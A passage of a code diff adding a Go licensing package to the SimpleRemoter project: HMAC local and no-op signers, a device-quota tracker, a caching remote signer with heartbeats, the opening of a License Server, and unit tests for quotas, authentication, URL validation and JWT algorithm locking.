+	s, err := NewLocal("shared-secret-xyz-long-enough")
+	if err != nil {
+		t.Fatalf("NewLocal: %v", err)
+	}
+	a, _ := s.Sign("2026-05-20T10:00:00Z", "12345")
+	b, _ := s.Sign("2026-05-20T10:00:00Z", "12345")
+	if a != b {
+		t.Errorf("non-deterministic: %q vs %q", a, b)
+	}
+	if len(a) != 64 {
+		t.Errorf("signature length = %d, want 64 (hex of HMAC-SHA256)", len(a))
+	}
+}
+
+// TestRemoteSignerCacheHit verifies that the second call for the same
+// (startTime, clientID) tuple doesn't hit the network. We assert this
+// by counting requests at the fake License Server.
+func TestRemoteSignerCacheHit(t *testing.T) {
+	priv := testKey(t)
+	master := mustLocal(t, "real-hmac-key-for-test-xx")
+	ls := NewLicenseServer(master, &priv.PublicKey, time.Minute, silentLogger{})
+	ts := httptest.NewServer(ls.Handler())
+	defer ts.Close()
+
+	tok, err := Issue(priv, "cust-cache", TierPaid, 10, time.Hour)
+	if err != nil {
+		t.Fatalf("Issue: %v", err)
+	}
+
+	// Count requests by wrapping the LS handler.
+	var calls atomic.Int64
+	counting := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
+		calls.Add(1)
+		ls.Handler().ServeHTTP(w, r)
+	}))
+	defer counting.Close()
+
+	rs := NewRemote(counting.URL, tok, time.Hour, silentLogger{})
+	defer rs.Close()
+
+	sig1, err := rs.Sign("st-1", "client-1")
+	if err != nil {
+		t.Fatalf("first Sign: %v", err)
+	}
+	sig2, err := rs.Sign("st-1", "client-1") // identical → cache hit
+	if err != nil {
+		t.Fatalf("second Sign: %v", err)
+	}
+	if sig1 != sig2 {
+		t.Errorf("signatures differ across cache: %q vs %q", sig1, sig2)
+	}
+	if got := calls.Load(); got != 1 {
+		t.Errorf("expected exactly 1 HTTP call (second served from cache), got %d", got)
+	}
+}
+
+// TestRemoteSignerStaleFallback: when the License Server goes down, an
+// expired-cache entry is still better than zero signature (avoids breaking
+// reconnects for existing devices during a transient outage).
+func TestRemoteSignerStaleFallback(t *testing.T) {
+	priv := testKey(t)
+	master := mustLocal(t, "master-fallback-test-xxx")
+	ls := NewLicenseServer(master, &priv.PublicKey, time.Minute, silentLogger{})
+	ts := httptest.NewServer(ls.Handler())
+
+	tok, err := Issue(priv, "cust-fallback", TierPaid, 5, time.Hour)
+	if err != nil {
+		t.Fatalf("Issue: %v", err)
+	}
+
+	// Grace = 1 ns so the next call considers the cache stale.
+	rs := NewRemote(ts.URL, tok, time.Nanosecond, silentLogger{})
+	defer rs.Close()
+
+	first, err := rs.Sign("st-fb", "client-fb")
+	if err != nil {
+		t.Fatalf("first Sign: %v", err)
+	}
+
+	// Take the server offline.
+	ts.Close()
+
+	second, err := rs.Sign("st-fb", "client-fb")
+	if err != nil {
+		t.Fatalf("post-outage Sign should fall back to stale cache, got err=%v", err)
+	}
+	if second != first {
+		t.Errorf("stale fallback returned %q, want cached %q", second, first)
+	}
+}
+
+// TestQuotaEnforcement: trial tier with 2 devices accepts the first two
+// but rejects the third with 403.
+func TestQuotaEnforcement(t *testing.T) {
+	priv := testKey(t)
+	master := mustLocal(t, "master-quota-test-xxxxxx")
+	ls := NewLicenseServer(master, &priv.PublicKey, time.Minute, silentLogger{})
+	ts := httptest.NewServer(ls.Handler())
+	defer ts.Close()
+
+	// Trial JWT capped at 2 devices.
+	tok, err := Issue(priv, "cust-quota", TierTrial, 2, time.Hour)
+	if err != nil {
+		t.Fatalf("Issue: %v", err)
+	}
+
+	call := func(clientID string) (int, string) {
+		body, _ := json.Marshal(signRequest{ClientID: clientID, StartTime: "st"})
+		req, _ := http.NewRequest("POST", ts.URL+"/license/sign", strings.NewReader(string(body)))
+		req.Header.Set("Authorization", "Bearer "+tok)
+		req.Header.Set("Content-Type", "application/json")
+		resp, err := http.DefaultClient.Do(req)
+		if err != nil {
+			t.Fatalf("Do: %v", err)
+		}
+		defer resp.Body.Close()
+		var sr signResponse
+		_ = json.NewDecoder(resp.Body).Decode(&sr)
+		if sr.Signature != "" {
+			return resp.StatusCode, sr.Signature
+		}
+		return resp.StatusCode, sr.Error
+	}
+
+	if code, _ := call("dev-1"); code != http.StatusOK {
+		t.Errorf("dev-1 expected 200, got %d", code)
+	}
+	if code, _ := call("dev-2"); code != http.StatusOK {
+		t.Errorf("dev-2 expected 200, got %d", code)
+	}
+	if code, msg := call("dev-3"); code != http.StatusForbidden {
+		t.Errorf("dev-3 expected 403, got %d (%q)", code, msg)
+	}
+}
+
+// TestAuthRejectsMissingBearer: no token → 401, not 200 / not 500. Belt
+// and braces — the auth check sits in front of /sign and /heartbeat.
+func TestAuthRejectsMissingBearer(t *testing.T) {
+	priv := testKey(t)
+	master := mustLocal(t, "master-auth-test-xxxxxxx")
+	ls := NewLicenseServer(master, &priv.PublicKey, time.Minute, silentLogger{})
+	ts := httptest.NewServer(ls.Handler())
+	defer ts.Close()
+
+	body := strings.NewReader(`{"client_id":"x","start_time":"y"}`)
+	resp, err := http.Post(ts.URL+"/license/sign", "application/json", body)
+	if err != nil {
+		t.Fatalf("Post: %v", err)
+	}
+	defer resp.Body.Close()
+	if resp.StatusCode != http.StatusUnauthorized {
+		t.Errorf("expected 401, got %d", resp.StatusCode)
+	}
+}
+
+// TestRemoteSignerHardFailNoCacheReturnsError: when the LS is unreachable
+// AND we have no cached signature for this (startTime, clientID), Sign must
+// return ("", err) so the caller (sendMasterSetting) ships zeroed bytes.
+// Previously untested — easy to silently regress.
+func TestRemoteSignerHardFailNoCacheReturnsError(t *testing.T) {
+	// Point RemoteSigner at a URL that will refuse all connections.
+	// Using an unreachable host avoids depending on a free local port.
+	rs := NewRemote("https://127.0.0.1:1", "any-token", time.Hour, silentLogger{})
+	defer rs.Close()
+
+	sig, err := rs.Sign("st-x", "client-x")
+	if err == nil {
+		t.Fatal("expected error when LS unreachable and cache empty")
+	}
+	if sig != "" {
+		t.Errorf("expected empty signature on hard failure, got %q", sig)
+	}
+}
+
+// TestHeartbeatRefreshOnly: malicious customer POSTs fake clientIDs to
+// /license/heartbeat. The fake IDs MUST NOT show up in the server's view —
+// only IDs already minted via /sign get refreshed. This is the anti-tamper
+// property that makes the quota system actually enforce.
+func TestHeartbeatRefreshOnly(t *testing.T) {
+	priv := testKey(t)
+	master := mustLocal(t, "master-hb-test-xxxxxxxxxx")
+	ls := NewLicenseServer(master, &priv.PublicKey, time.Minute, silentLogger{})
+	ts := httptest.NewServer(ls.Handler())
+	defer ts.Close()
+
+	tok, err := Issue(priv, "cust-hb", TierPaid, 5, time.Hour)
+	if err != nil {
+		t.Fatalf("Issue: %v", err)
+	}
+
+	// Reserve one legit device via /sign first.
+	signBody, _ := json.Marshal(signRequest{ClientID: "legit-1", StartTime: "st"})
+	req, _ := http.NewRequest("POST", ts.URL+"/license/sign", strings.NewReader(string(signBody)))
+	req.Header.Set("Authorization", "Bearer "+tok)
+	req.Header.Set("Content-Type", "application/json")
+	if resp, err := http.DefaultClient.Do(req); err != nil {
+		t.Fatalf("Do sign: %v", err)
+	} else {
+		resp.Body.Close()
+	}
+
+	// Now heartbeat reports 1 legit ID + 99 fake IDs.
+	fakes := make([]string, 99)
+	for i := range fakes {
+		fakes[i] = fmt.Sprintf("fake-%d", i)
+	}
+	all := append([]string{"legit-1"}, fakes...)
+	hbBody, _ := json.Marshal(heartbeatRequest{
+		ActiveDeviceCount: len(all),
+		ActiveDeviceIDs:   all,
+	})
+	req, _ = http.NewRequest("POST", ts.URL+"/license/heartbeat", strings.NewReader(string(hbBody)))
+	req.Header.Set("Authorization", "Bearer "+tok)
+	req.Header.Set("Content-Type", "application/json")
+	resp, err := http.DefaultClient.Do(req)
+	if err != nil {
+		t.Fatalf("Do heartbeat: %v", err)
+	}
+	defer resp.Body.Close()
+	if resp.StatusCode != http.StatusOK {
+		t.Fatalf("heartbeat returned %d", resp.StatusCode)
+	}
+	var hbResp heartbeatResponse
+	_ = json.NewDecoder(resp.Body).Decode(&hbResp)
+
+	// Server should report exactly 1 active device (the one minted via /sign),
+	// NOT 1 + 99. drift = 99.
+	if hbResp.ServerViewCount != 1 {
+		t.Errorf("server view = %d, want 1 (heartbeat must not insert fake IDs)", hbResp.ServerViewCount)
+	}
+	if hbResp.Drift != 99 {
+		t.Errorf("drift = %d, want 99", hbResp.Drift)
+	}
+
+	// Verify the quota cap is still enforced: a fresh /sign for dev-2..dev-5
+	// should succeed (only 1 slot used), dev-6 should fail.
+	tryReserve := func(cid string) int {
+		body, _ := json.Marshal(signRequest{ClientID: cid, StartTime: "st"})
+		req, _ := http.NewRequest("POST", ts.URL+"/license/sign", strings.NewReader(string(body)))
+		req.Header.Set("Authorization", "Bearer "+tok)
+		req.Header.Set("Content-Type", "application/json")
+		resp, err := http.DefaultClient.Do(req)
+		if err != nil {
+			t.Fatalf("Do: %v", err)
+		}
+		defer resp.Body.Close()
+		return resp.StatusCode
+	}
+	for i := 2; i <= 5; i++ {
+		if code := tryReserve(fmt.Sprintf("legit-%d", i)); code != http.StatusOK {
+			t.Errorf("legit-%d expected 200, got %d", i, code)
+		}
+	}
+	if code := tryReserve("legit-6"); code != http.StatusForbidden {
+		t.Errorf("legit-6 expected 403 (max=5), got %d", code)
+	}
+}
+
+// TestQuotaRejectionDoesNotConsumeSlot: a rejected /sign must not leave
+// its clientID in the quota map. Otherwise a denied 3rd device would
+// permanently take a slot from the legitimate 1st/2nd.
+func TestQuotaRejectionDoesNotConsumeSlot(t *testing.T) {
+	priv := testKey(t)
+	master := mustLocal(t, "master-no-leak-xxxxxxxxxxxx")
+	ls := NewLicenseServer(master, &priv.PublicKey, time.Minute, silentLogger{})
+	ts := httptest.NewServer(ls.Handler())
+	defer ts.Close()
+
+	tok, err := Issue(priv, "cust-leak", TierTrial, 2, time.Hour)
+	if err != nil {
+		t.Fatalf("Issue: %v", err)
+	}
+
+	doSign := func(cid string) int {
+		body, _ := json.Marshal(signRequest{ClientID: cid, StartTime: "st"})
+		req, _ := http.NewRequest("POST", ts.URL+"/license/sign", strings.NewReader(string(body)))
+		req.Header.Set("Authorization", "Bearer "+tok)
+		req.Header.Set("Content-Type", "application/json")
+		resp, err := http.DefaultClient.Do(req)
+		if err != nil {
+			t.Fatalf("Do: %v", err)
+		}
+		defer resp.Body.Close()
+		return resp.StatusCode
+	}
+
+	// Fill to cap.
+	if c := doSign("a"); c != http.StatusOK {
+		t.Fatalf("a expected 200, got %d", c)
+	}
+	if c := doSign("b"); c != http.StatusOK {
+		t.Fatalf("b expected 200, got %d", c)
+	}
+	// Over cap — must be denied AND must NOT consume a slot.
+	if c := doSign("c"); c != http.StatusForbidden {
+		t.Fatalf("c expected 403, got %d", c)
+	}
+	if c := doSign("d"); c != http.StatusForbidden {
+		t.Fatalf("d expected 403, got %d", c)
+	}
+	// Existing device 'a' re-signs — must still succeed (idempotent refresh).
+	if c := doSign("a"); c != http.StatusOK {
+		t.Fatalf("a re-sign expected 200, got %d", c)
+	}
+}
+
+// TestQuotaTrackerEviction: after evictAfter elapses, a previously-occupied
+// slot must be reclaimed so a new device can take it. Exercises the time
+// path that TestQuotaEnforcement skips (it uses a long eviction window).
+func TestQuotaTrackerEviction(t *testing.T) {
+	q := newQuotaTracker(50 * time.Millisecond)
+
+	if count, ok := q.Reserve("cust", "dev-1", 1); !ok || count != 1 {
+		t.Fatalf("first Reserve: count=%d ok=%v", count, ok)
+	}
+	if count, ok := q.Reserve("cust", "dev-2", 1); ok {
+		t.Fatalf("expected over-cap rejection, got count=%d ok=%v", count, ok)
+	}
+
+	time.Sleep(80 * time.Millisecond)
+
+	// dev-1's entry should now be stale; dev-2 should be admitted.
+	if count, ok := q.Reserve("cust", "dev-2", 1); !ok || count != 1 {
+		t.Fatalf("post-eviction Reserve: count=%d ok=%v", count, ok)
+	}
+}
+
+// TestValidateRemoteURL: factory must reject http:// for non-loopback
+// targets so JWT/sigs don't leak in cleartext.
+func TestValidateRemoteURL(t *testing.T) {
+	cases := []struct {
+		url       string
+		wantError bool
+	}{
+		{"https://license.example.com", false},
+		{"https://localhost:8443", false},
+		{"http://localhost:8443", false},        // loopback exception
+		{"http://127.0.0.1:8443", false},        // loopback exception
+		{"http://license.example.com", true},    // public http → reject
+		{"ftp://license.example.com", true},     // bad scheme
+		{"not a url at all", true},
+	}
+	for _, c := range cases {
+		err := ValidateRemoteURL(c.url)
+		if (err != nil) != c.wantError {
+			t.Errorf("ValidateRemoteURL(%q): err=%v, wantError=%v", c.url, err, c.wantError)
+		}
+	}
+}
+
+// TestIssueRejectsShortTTL: catches fat-finger ttl=0 / negative that mints
+// an already-expired token.
+func TestIssueRejectsShortTTL(t *testing.T) {
+	priv := testKey(t)
+	if _, err := Issue(priv, "cust", TierPaid, 10, 0); err == nil {
+		t.Error("expected error for ttl=0")
+	}
+	if _, err := Issue(priv, "cust", TierPaid, 10, time.Minute); err == nil {
+		t.Error("expected error for ttl below minimum")
+	}
+	if _, err := Issue(priv, "", TierPaid, 10, time.Hour); err == nil {
+		t.Error("expected error for empty sub")
+	}
+}
+
+// TestNewLocalRejectsShortKey: catches misconfigured YAMA_SIGN_PASSWORD
+// (empty / typo) at construction instead of silently signing with junk.
+func TestNewLocalRejectsShortKey(t *testing.T) {
+	if _, err := NewLocal(""); err == nil {
+		t.Error("expected error for empty master key")
+	}
+	if _, err := NewLocal("short"); err == nil {
+		t.Error("expected error for too-short master key")
+	}
+}
+
+// TestJWTAlgLockedToRS256: a token with any non-RS256 alg (here RS384) must
+// fail verification, even though the underlying RSA primitive is the same.
+// This pins the docs↔code contract.
+func TestJWTAlgLockedToRS256(t *testing.T) {
+	priv := testKey(t)
+	now := time.Now()
+	claims := &LicenseClaims{
+		Tier:       TierTrial,
+		MaxDevices: 10,
+		RegisteredClaims: jwt.RegisteredClaims{
+			Subject:   "cust",
+			IssuedAt:  jwt.NewNumericDate(now),
+			ExpiresAt: jwt.NewNumericDate(now.Add(time.Hour)),
+		},
+	}
+	tok := jwt.NewWithClaims(jwt.SigningMethodRS384, claims)
+	signed, err := tok.SignedString(priv)
+	if err != nil {
+		t.Fatalf("sign: %v", err)
+	}
+	if _, err := VerifyJWT(signed, &priv.PublicKey); err == nil {
+		t.Error("VerifyJWT accepted RS384; alg should be locked to RS256")
+	}
+}

server/go/licensing/local.go

@@ -0,0 +1,45 @@
+package licensing
+
+import (
+	"errors"
+
+	"github.com/yuanyuanxiang/SimpleRemoter/server/go/protocol"
+)
+
+// LocalSigner signs directly with the deployment's HMAC master key. The
+// operator's own Go server runs in this mode; it also serves as License
+// Server for any RemoteSigner customer deployments (LicenseServer in
+// server.go reuses the same Signer instance via its public Sign() method).
+//
+// Sign is HMAC-SHA256 in microseconds — no I/O, no caching needed.
+type LocalSigner struct {
+	masterKey string
+}
+
+// minMasterKeyLen rejects obviously-broken HMAC keys (empty string, "x").
+// Real keys are typically `openssl rand -hex 32` (64 chars); 16 bytes is
+// the floor we'll accept to catch fat-finger configs without being too
+// strict for tests.
+const minMasterKeyLen = 16
+
+// NewLocal returns a LocalSigner. An empty or too-short masterKey is a
+// configuration bug — silently accepting it would produce stable but
+// worthless HMAC output, so we reject at construction.
+func NewLocal(masterKey string) (*LocalSigner, error) {
+	if masterKey == "" {
+		return nil, errors.New("LocalSigner: master HMAC key is empty (set YAMA_SIGN_PASSWORD)")
+	}
+	if len(masterKey) < minMasterKeyLen {
+		return nil, errors.New("LocalSigner: master HMAC key too short (need >= 16 chars)")
+	}
+	return &LocalSigner{masterKey: masterKey}, nil
+}
+
+func (l *LocalSigner) Sign(startTime, clientID string) (string, error) {
+	msg := startTime + "|" + clientID
+	return protocol.SignMessage(l.masterKey, []byte(msg)), nil
+}
+
+func (l *LocalSigner) Mode() string { return "local" }
+
+func (l *LocalSigner) Close() error { return nil }

server/go/licensing/noop.go

@@ -0,0 +1,18 @@
+package licensing
+
+// NoOpSigner returns an empty signature. Used when neither YAMA_SIGN_PASSWORD
+// nor YAMA_LICENSE_SERVER is set — operator hasn't configured licensing at
+// all (free-tier mode). Device list keeps working; the client's private
+// library refuses to start screen/file features when it sees a zeroed
+// Signature[64] field in CMD_MASTERSETTING.
+type NoOpSigner struct{}
+
+func NewNoOp() *NoOpSigner { return &NoOpSigner{} }
+
+func (n *NoOpSigner) Sign(startTime, clientID string) (string, error) {
+	return "", nil
+}
+
+func (n *NoOpSigner) Mode() string { return "noop" }
+
+func (n *NoOpSigner) Close() error { return nil }

server/go/licensing/quota.go

@@ -0,0 +1,159 @@
+package licensing
+
+import (
+	"sync"
+	"time"
+)
+
+// Tier names. The free tier is hard-coded into the License Server (no JWT
+// needed); trial / paid are encoded in the issued JWT's "tier" claim along
+// with "max_devices".
+const (
+	TierFree  = "free"
+	TierTrial = "trial"
+	TierPaid  = "paid"
+)
+
+// FreeMaxDevices is the per-deployment device cap for unauthenticated
+// (no JWT) callers. Trial defaults to 20 if the JWT omits max_devices;
+// paid customers MUST have an explicit max_devices in their JWT.
+const (
+	FreeMaxDevices  = 2
+	TrialMaxDevices = 20
+)
+
+// quotaTracker maintains the active-device set per customer. Customers are
+// identified by the JWT "sub" claim. The set is keyed by clientID (uint64
+// from the device, stringified) — same device coming back through the
+// same License Server is one slot, not two.
+//
+// Eviction: any clientID not seen in /sign or /license/heartbeat within
+// the eviction window is silently dropped from the active set. This stops
+// a never-heartbeating customer from holding slots forever. Default
+// window is twice the heartbeat interval the customer reports at (5 min).
+//
+// Empty customer entries are reaped at the end of each mutation so the
+// outer map doesn't accumulate sub claims of expired contracts.
+type quotaTracker struct {
+	evictAfter time.Duration
+
+	mu       sync.Mutex
+	customer map[string]*customerState // sub claim → state
+}
+
+type customerState struct {
+	devices map[string]time.Time // clientID → last activity
+}
+
+func newQuotaTracker(evictAfter time.Duration) *quotaTracker {
+	return &quotaTracker{
+		evictAfter: evictAfter,
+		customer:   make(map[string]*customerState),
+	}
+}
+
+// evictLocked drops stale entries from st.devices. Caller must hold q.mu.
+func (q *quotaTracker) evictLocked(st *customerState) {
+	cutoff := time.Now().Add(-q.evictAfter)
+	for cid, last := range st.devices {
+		if last.Before(cutoff) {
+			delete(st.devices, cid)
+		}
+	}
+}
+
+// reapEmptyLocked deletes sub entries whose device sets are empty. This
+// prevents long-running License Servers from leaking memory across
+// churned trial customers. Caller must hold q.mu.
+func (q *quotaTracker) reapEmptyLocked(sub string) {
+	if st, ok := q.customer[sub]; ok && len(st.devices) == 0 {
+		delete(q.customer, sub)
+	}
+}
+
+// Reserve atomically checks whether <clientID> can be admitted under <sub>
+// without exceeding <maxDevices>, and if so records it as active. Returns
+// (active_count_after, accepted).
+//
+// "Accepted" means the slot is now reserved. "Rejected" leaves the device
+// map untouched — a denied request must NOT permanently consume a slot
+// just because the caller asked.
+//
+// If <clientID> is already in the set, Reserve refreshes its activity
+// timestamp and returns accepted=true regardless of maxDevices (same device
+// re-signing is never a quota violation — caps only apply to ADDING).
+func (q *quotaTracker) Reserve(sub, clientID string, maxDevices int) (int, bool) {
+	q.mu.Lock()
+	defer q.mu.Unlock()
+
+	st, ok := q.customer[sub]
+	if !ok {
+		st = &customerState{devices: make(map[string]time.Time)}
+		q.customer[sub] = st
+	}
+
+	q.evictLocked(st)
+
+	if _, already := st.devices[clientID]; already {
+		st.devices[clientID] = time.Now()
+		return len(st.devices), true
+	}
+
+	if len(st.devices)+1 > maxDevices {
+		// Don't reap on rejection — the customer might be at exactly cap
+		// with valid devices, and an empty map would lose info.
+		return len(st.devices), false
+	}
+
+	st.devices[clientID] = time.Now()
+	return len(st.devices), true
+}
+
+// RefreshExisting bumps the last-activity timestamp for any clientID in
+// <clientIDs> that is ALREADY in <sub>'s set. New IDs are silently ignored
+// — this is the key anti-tamper property of /license/heartbeat: a
+// malicious customer cannot inflate their quota by reporting fake IDs.
+//
+// Returns the count of IDs that were actually refreshed (i.e. that were
+// known to us from a prior Reserve).
+func (q *quotaTracker) RefreshExisting(sub string, clientIDs []string) int {
+	q.mu.Lock()
+	defer q.mu.Unlock()
+
+	st, ok := q.customer[sub]
+	if !ok {
+		return 0
+	}
+
+	q.evictLocked(st)
+
+	now := time.Now()
+	refreshed := 0
+	for _, cid := range clientIDs {
+		if _, exists := st.devices[cid]; exists {
+			st.devices[cid] = now
+			refreshed++
+		}
+	}
+
+	q.reapEmptyLocked(sub) // eviction may have emptied us
+	return refreshed
+}
+
+// Snapshot returns the current active clientIDs for <sub>. Used by
+// /license/heartbeat to report the server-side view.
+func (q *quotaTracker) Snapshot(sub string) []string {
+	q.mu.Lock()
+	defer q.mu.Unlock()
+	st, ok := q.customer[sub]
+	if !ok {
+		return nil
+	}
+	q.evictLocked(st)
+	out := make([]string, 0, len(st.devices))
+	for cid := range st.devices {
+		out = append(out, cid)
+	}
+	q.reapEmptyLocked(sub)
+	return out
+}

server/go/licensing/remote.go

@@ -0,0 +1,295 @@
+package licensing
+
+import (
+	"bytes"
+	"context"
+	"encoding/json"
+	"errors"
+	"fmt"
+	"io"
+	"net/http"
+	"net/url"
+	"strings"
+	"sync"
+	"time"
+
+	"golang.org/x/sync/singleflight"
+)
+
+// RemoteSigner fetches per-login signatures from an operator-hosted License
+// Server. ServerURL and Token (a JWT issued offline by the operator) are
+// loaded from YAMA_LICENSE_SERVER / YAMA_LICENSE_TOKEN at startup.
+//
+// Cache strategy: every (startTime, clientID) tuple deterministically
+// produces the same HMAC output. So once we've fetched a signature, we
+// can serve it from memory for OfflineGrace (default 24h). We do honor the
+// grace — the operator may want to revoke license / clear cache during
+// outages — returning a stale signature beyond OfflineGrace defeats the
+// point of the License Server.
+//
+// Thundering herd: on cache miss, concurrent Sign() calls for the same
+// (startTime, clientID) are coalesced via singleflight so only one HTTPS
+// round-trip happens. This matters at customer-side restart when many
+// devices reconnect at the same time.
+//
+// Heartbeat: a background ticker POSTs the cached clientID set to
+// /license/heartbeat every heartbeatInterval. This is what lets the
+// License Server re-populate its quota view after a restart — without it,
+// LS's view stays empty (since cache hits never re-fetch /sign).
+//
+// On License Server unreachable / non-200: try stale cache; if no cache,
+// return ("", err). Caller (sendMasterSetting) ships zeroed signature and
+// the device retries on next reconnect.
+type RemoteSigner struct {
+	serverURL    string
+	token        string
+	offlineGrace time.Duration
+	httpClient   *http.Client
+	logger       Logger
+	sf           singleflight.Group
+
+	mu    sync.Mutex
+	cache map[string]cachedSig
+
+	hbDone chan struct{}
+	hbWg   sync.WaitGroup
+}
+
+type cachedSig struct {
+	sig       string
+	fetchedAt time.Time
+}
+
+// signRequest mirrors the License Server's POST /license/sign body schema.
+type signRequest struct {
+	ClientID  string `json:"client_id"`
+	StartTime string `json:"start_time"`
+}
+
+// signResponse mirrors the License Server's response schema.
+type signResponse struct {
+	Signature string `json:"signature,omitempty"`
+	Error     string `json:"error,omitempty"`
+}
+
+// nilLogger drops all log lines; used when callers don't pass a logger so
+// the RemoteSigner stays safe to use without panic'ing on nil deref.
+type nilLogger struct{}
+
+func (nilLogger) Info(string, ...any)  {}
+func (nilLogger) Warn(string, ...any)  {}
+func (nilLogger) Error(string, ...any) {}
+
+// heartbeatInterval is the period for /license/heartbeat POSTs. 90s is
+// well below the License Server's 5-minute eviction window (quota.go), so
+// the customer's devices never get reaped from the LS quota view while
+// they're still actively heartbeating to it.
+const heartbeatInterval = 90 * time.Second
+
+// ValidateRemoteURL returns nil if u is a safe LICENSE_SERVER URL. We
+// require https:// to keep the JWT and signature off the wire in cleartext;
+// the only exception is http://localhost / http://127.0.0.1 for testing.
+func ValidateRemoteURL(raw string) error {
+	u, err := url.Parse(raw)
+	if err != nil {
+		return fmt.Errorf("not a URL: %w", err)
+	}
+	switch u.Scheme {
+	case "https":
+		return nil
+	case "http":
+		host := u.Hostname()
+		if host == "localhost" || host == "127.0.0.1" || host == "::1" {
+			return nil
+		}
+		return fmt.Errorf("http:// scheme exposes JWT in cleartext; use https:// (got %q)", raw)
+	default:
+		return fmt.Errorf("unsupported scheme %q (need https://)", u.Scheme)
+	}
+}
+
+func NewRemote(serverURL, token string, offlineGrace time.Duration, lg Logger) *RemoteSigner {
+	if lg == nil {
+		lg = nilLogger{}
+	}
+	r := &RemoteSigner{
+		serverURL:    strings.TrimRight(serverURL, "/"),
+		token:        token,
+		offlineGrace: offlineGrace,
+		logger:       lg,
+		httpClient: &http.Client{
+			Timeout: 10 * time.Second,
+		},
+		cache:  make(map[string]cachedSig),
+		hbDone: make(chan struct{}),
+	}
+	r.hbWg.Add(1)
+	go r.heartbeatLoop()
+	return r
+}
+
+func (r *RemoteSigner) Sign(startTime, clientID string) (string, error) {
+	key := startTime + "|" + clientID
+
+	// Fresh cache hit: serve from memory, no network.
+	r.mu.Lock()
+	if c, ok := r.cache[key]; ok && time.Since(c.fetchedAt) < r.offlineGrace {
+		sig := c.sig
+		r.mu.Unlock()
+		return sig, nil
+	}
+	r.mu.Unlock()
+
+	// Coalesce concurrent fetches for the same key — protects the License
+	// Server from herd reconnects after a network blip.
+	v, err, _ := r.sf.Do(key, func() (any, error) {
+		return r.fetch(startTime, clientID)
+	})
+	if err == nil {
+		sig := v.(string)
+		r.mu.Lock()
+		r.cache[key] = cachedSig{sig: sig, fetchedAt: time.Now()}
+		r.mu.Unlock()
+		return sig, nil
+	}
+
+	// Hard failure: fall back to stale cache if any. Better to keep an
+	// existing device alive than fail closed during a transient outage.
+	r.mu.Lock()
+	c, ok := r.cache[key]
+	r.mu.Unlock()
+	if ok {
+		age := time.Since(c.fetchedAt).Round(time.Second)
+		r.logger.Warn("RemoteSigner: License Server unreachable (%v); serving stale cache (age=%s) for clientID=%s",
+			err, age, clientID)
+		return c.sig, nil
+	}
+	r.logger.Error("RemoteSigner: License Server unreachable (%v) and no cache for clientID=%s; client will see zeroed signature",
+		err, clientID)
+	return "", err
+}
+
+func (r *RemoteSigner) fetch(startTime, clientID string) (string, error) {
+	body, err := json.Marshal(signRequest{ClientID: clientID, StartTime: startTime})
+	if err != nil {
+		return "", err
+	}
+
+	req, err := http.NewRequest("POST", r.serverURL+"/license/sign", bytes.NewReader(body))
+	if err != nil {
+		return "", err
+	}
+	req.Header.Set("Authorization", "Bearer "+r.token)
+	req.Header.Set("Content-Type", "application/json")
+
+	resp, err := r.httpClient.Do(req)
+	if err != nil {
+		return "", err
+	}
+	defer resp.Body.Close()
+
+	respBody, err := io.ReadAll(io.LimitReader(resp.Body, 8<<10))
+	if err != nil {
+		return "", err
+	}
+
+	if resp.StatusCode != http.StatusOK {
+		// 401/403: token rejected — likely revoked or expired.
+		return "", fmt.Errorf("License Server returned %d: %s",
+			resp.StatusCode, string(respBody))
+	}
+
+	var sr signResponse
+	if err := json.Unmarshal(respBody, &sr); err != nil {
+		return "", fmt.Errorf("malformed License Server response: %w", err)
+	}
+	if sr.Error != "" {
+		return "", errors.New(sr.Error)
+	}
+	if sr.Signature == "" {
+		return "", errors.New("License Server returned empty signature")
+	}
+	return sr.Signature, nil
+}
+
+// heartbeatLoop POSTs the cached clientID set to /license/heartbeat every
+// heartbeatInterval. Goal: after a License Server restart, the customer's
+// existing devices get re-counted in the LS quota view without each one
+// needing to cache-miss /sign first.
+func (r *RemoteSigner) heartbeatLoop() {
+	defer r.hbWg.Done()
+	ticker := time.NewTicker(heartbeatInterval)
+	defer ticker.Stop()
+	for {
+		select {
+		case <-r.hbDone:
+			return
+		case <-ticker.C:
+			r.sendHeartbeat()
+		}
+	}
+}
+
+func (r *RemoteSigner) sendHeartbeat() {
+	// Snapshot the cache's currently-fresh clientIDs.
+	r.mu.Lock()
+	cutoff := time.Now().Add(-r.offlineGrace)
+	ids := make([]string, 0, len(r.cache))
+	for key, c := range r.cache {
+		if c.fetchedAt.Before(cutoff) {
+			continue
+		}
+		// key is "startTime|clientID" — extract clientID for the heartbeat.
+		if _, cid, ok := strings.Cut(key, "|"); ok {
+			ids = append(ids, cid)
+		}
+	}
+	r.mu.Unlock()
+
+	if len(ids) == 0 {
+		return // nothing to report yet
+	}
+
+	body, err := json.Marshal(heartbeatRequest{
+		ActiveDeviceCount: len(ids),
+		ActiveDeviceIDs:   ids,
+	})
+	if err != nil {
+		return
+	}
+
+	ctx, cancel := context.WithTimeout(context.Background(), 5*time.Second)
+	defer cancel()
+	req, err := http.NewRequestWithContext(ctx, "POST",
+		r.serverURL+"/license/heartbeat", bytes.NewReader(body))
+	if err != nil {
+		return
+	}
+	req.Header.Set("Authorization", "Bearer "+r.token)
+	req.Header.Set("Content-Type", "application/json")
+
+	resp, err := r.httpClient.Do(req)
+	if err != nil {
+		// Transient — don't spam logs every 90s; debug-level if we add one.
+		return
+	}
+	defer resp.Body.Close()
+	_, _ = io.Copy(io.Discard, io.LimitReader(resp.Body, 4<<10))
+	if resp.StatusCode != http.StatusOK {
+		r.logger.Warn("RemoteSigner: heartbeat returned %d", resp.StatusCode)
+	}
+}
+
+func (r *RemoteSigner) Mode() string { return "remote" }
+
+func (r *RemoteSigner) Close() error {
+	select {
+	case <-r.hbDone:
+		// already closed
+	default:
+		close(r.hbDone)
+	}
+	r.hbWg.Wait()
+	r.httpClient.CloseIdleConnections()
+	return nil
+}

server/go/licensing/server.go

@@ -0,0 +1,283 @@
+package licensing
+
+import (
+	"crypto/rsa"
+	"encoding/json"
+	"errors"
+	"fmt"
+	"net/http"
+	"strings"
+	"time"
+
+	"github.com/golang-jwt/jwt/v5"
+)
+
+// LicenseServer is the HTTP service the operator's LocalSigner exposes for
+// RemoteSigner customer deployments. It uses the same LocalSigner instance
+// (same HMAC master key) to produce signatures so customers can issue
+// device logins without ever holding the master key themselves.
+//
+// Endpoints:
+//
+//   POST /license/sign
+//     Body:   {"client_id": "...", "start_time": "..."}
+//     Auth:   Authorization: Bearer <customer-JWT>
+//     Reply:  {"signature": "<64-hex>"}  (200)
